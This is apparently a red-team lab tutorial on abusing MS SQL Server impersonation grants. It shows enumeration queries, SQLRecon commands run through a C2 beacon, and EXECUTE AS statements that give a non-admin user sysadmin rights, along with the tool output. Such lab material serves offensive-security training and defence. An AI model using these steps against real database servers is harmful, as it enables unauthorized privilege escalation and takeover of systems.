S SQL impersonation, or context switching, is a means which allows the executing user to assume the permissions of another user without needing to know their password. One handy use case for the feature is to allow administrators to impersonate a user for testing purposes, e.g. a user is having a problem and they want to eliminate permissions as an issue.
Impersonations must be explicitly granted through securable configurations.
In this example, DEV\Domain Users have been granted the ability to impersonate the DEV\mssql_svc account. This is clearly a security issue because it gives all Domain Users sysadmin privileges on this instance.
We can discover accounts to impersonate manually using the following queries:
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
This shows that the grantee_principal_id, 268, is allowed to impersonate the grantor_principal_id, 267. The IDs don't mean much, so we can look them up with:
SELECT name, principal_id, type_desc, is_disabled FROM sys.server_principals;
Here, we see that 267 is DEV\mssql_svc and 268 is DEV\Domain Users.
You can also write your own SQL query that will join these two, or use SQLRecon's impersonate module.
beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:impersonate
[*] Enumerating accounts that can be impersonated on sql-2.dev.cyberbotic.io,1433
name |
-------
DEV\mssql_svc |
We can take advantage of this as bfarmer, who we know is not a sysadmin.
Use EXECUTE AS to execute a query in the context of the target.
EXECUTE AS login = 'DEV\mssql_svc'; SELECT SYSTEM_USER;
DEV\mssql_svc
EXECUTE AS login = 'DEV\mssql_svc'; SELECT IS_SRVROLEMEMBER('sysadmin');
1
SQLRecon modules can also be run in "impersonation mode" by prefixing the module name with an i and specifying the principal to impersonate.
beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:iwhoami /i:DEV\mssql_svc
[*] Determining user permissions on sql-2.dev.cyberbotic.io,1433 as 'DEV\mssql_svc'
[*] Logged in as DEV\mssql_svc
[*] Mapped to the user dbo
[*] [+] Roles:
|-> User is a member of public role.
|-> User is NOT a member of db_owner role.
|-> User is NOT a member of db_accessadmin role.
|-> User is NOT a member of db_securityadmin role.
|-> User is NOT a member of db_ddladmin role.
|-> User is NOT a member of db_backupoperator role.
|-> User is NOT a member of db_datareader role.
|-> User is NOT a member of db_datawriter role.
|-> User is NOT a member of db_denydatareader role.
|-> User is NOT a member of db_denydatawriter role.
|-> User is a member of sysadmin role.
|-> User is a member of setupadmin role.
|-> User is a member of serveradmin role.
|-> User is a member of securityadmin role.
|-> User is a member of processadmin role.
|-> User is a member of diskadmin role.
|-> User is a member of dbcreator role.
|-> User is a member of bulkadmin role.